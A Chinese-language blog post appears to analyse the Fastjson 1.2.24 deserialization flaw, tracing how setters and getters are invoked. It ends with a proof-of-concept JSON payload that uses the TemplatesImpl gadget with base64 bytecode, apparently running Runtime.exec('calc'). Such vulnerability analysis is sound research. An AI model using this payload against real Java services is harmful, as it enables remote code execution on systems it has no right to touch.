前言
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。Fastjson在阿里巴巴大规模使用,在数万台服务器上部署,Fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。出现安全问题影响范围很广。
环境搭建
创建一个maven项目,pom.xml中加入:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
这样我们就可以使用Fastjson进行测试了。
漏洞简介
首先介绍下序列化操作和反序列化操作需要的函数
写一个测试代码:
public class testClass {
String Command;
public String getCommand() throws Exception
{
System.out.println("getCommand running");
return Command;
}
public void setCommand(String Command) throws Exception
{
System.out.println("setCommand running");
this.Command=Command;
}
}
public class poc {
public static void main(String[] args) throws Exception
{
testClass ob = new testClass();
ob.setCommand("tt");
String str = JSON.toJSONString(ob, SerializerFeature.WriteClassName);
JSON.parseObject(str);
}
}
运行这段代码,会得到如下输出:
这段输出,第一行是我们手动调用setCommand输出的,第二行getCommand是序列化时候输出的。
剩下两行是反序列化时候输出的。
这时候我们可以看出,Fastjson在反序列化的时候,会调用目标类的setter、getter方法。
漏洞原理分析
知道了在反序列化的过程中会调用类的setter方法后,接下来我们跟踪一下反序列化的过程,了解一下其中原理。
在这之前,首先要了解一个知识点,那就是fastjson为了效率,会使用ASM框架来提升性能。
为了提升效率,fastjson会在内部维护一个hashmap,这个map保存的是什么呢?
比如说正常情况下对一个类进行反序列化操作,我们需要获取类的类型,然后通过反射来调用我们想要调用的方法,比如构造函数、setter、getter方法等。这样一来就会有一个问题,同一个类每次被反序列化都要进行一次反射操作,这样很影响效率,所以在一个类第一次反序列化的时候,fastjson会根据类路径创建一个对象,通过这个对象来调用setter或者getter函数,然后将这个对象保存在内部的hashmap中,这样再有同样的类被反序列化就直接拿出之前保存的对象调用方法就可以了。
知道了上述这些前提之后,我们再来看代码会跟容易理解。
ParserConfig.getDeserializer
看代码,首先从JSON.parseObject函数跟下来,遇见的第一个需要注意的函数是ParserConfig.getDeserializer,代码如下图:
首先看一下get函数是如果从hashmap中获取对象的:
函数很简单,简单看看就好。
ParserConfig.getDeserializer
接下来来看一下getDeserializer函数这个函数比较长,只能截一些比较重要的:
这个函数会有一堆判断,但是这都不是我们关注的点,我们关注的点只有最后这一点:
可以看到,最后调用了createJavaBeanDeserializer创建一个对象,然后将对象put到map中在返回。
接下来我们看看createJavaBeanDeserializer是怎么创建对象的
ParserConfig.createJavaBeanDeserializer
这个函数的大部分代码都是在判断和设置asmEnable变量,这个变量代表是否使用ASM框架来动态创建对象,判断完asmEnable后代码如下:
看到这里会发现,不管是否开启asmEnable都会创建一个对象,而唯一不变的就是它们都需要一个JavaBeanInfo,可以看出这个JavaBeanInfo是个重点,接下来看一下它是如何创建的。
JavaBeanInfo.build
可以看到,首先是获取了所有字段和所有public方法。
中间省略一些无关紧要的代码,来到一个循环,这个循环会遍历之前获取的所有方法来提取setter方法:
要写的东西太多,就不再图片上标注了。
整理一下主要判断有以下几个:
- 方法名长度要大于等于4
- 不能是静态方法
- 返回值类型为VOID或者返回自身类类型
- 参数个数为1
- 方法必须以set开头
- 方法第四个字符必须大写
通过了上面这几个条件筛选后,然后会获取几个数据,比如方法名、这个setter要设置的成员名、class对象等,获取完必要的信息后会根据这些信息创建一个FieldInfo对象,然后将这个对象保存在fieldList中。
获取完setter方法后会接着获取getter方法,判断的条件类似,如下:
- 方法名长度大于等于4
- 不能是静态方法
- 方法必须以get开头
- 方法第四个字符必须大写
- 参数数量必须等于0
- 方法返回的类型必须继承自Collection Map AtomicBoolean AtomicInteger AtomicLong.
同样判断完成后会获取相应的数据然后创建FieldInfo对象并且保存到fieldList中。
完事之后,会用我们获取到的信息创建一个JavaBeanInfo对象然后返回。
不管是开启asmEnable或者没开启,都会创建一个对象并且返回,不同的是如果没开启返回的是一个JavaBeanDeserializer对象,如果开启asmEnable返回的则是动态创建的一个对象,这个对象继承于JavaBeanDeserializer。为了方便调试,接下来使用JavaBeanDeserializer来分析。
JavaBeanDeserializer
不管开启asmEnable与否,返回的对象都需要通过JavaBeanInfo对象来创建。
然后通过调用JavaBeanDeserializer.deserialze进行反序列化调用
一路跟下去,最终会在FieldDeserializer.setValue通过反射调用
后面的流程在之前已经讲过很多次了,这里就不在赘述了。
构造POC
public static void main(String[] args) throws Exception
{
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEABUhlbGxvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEwALAAAABAABAAwAAQAOAA8AAgAJAAAANAACAAIAAAAQKrcAAbgAAkwrEgO2AARXsQAAAAEACgAAABIABAAAABUABAAWAAgAFwAPABgACwAAAAQAAQAQAAEAEQAAAAIAEg==" + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
}
这里要注意一下,_bytecodes需要是byte64加密的。
参考
https://www.cnblogs.com/sijidou/p/13121332.html
http://wjlshare.com/archives/1512
总结
前面半部分分析的还算透彻,后面代码越来越底层很多东西分析不清楚。
这是我分析过的最难的java反序列化了。。 太难了。。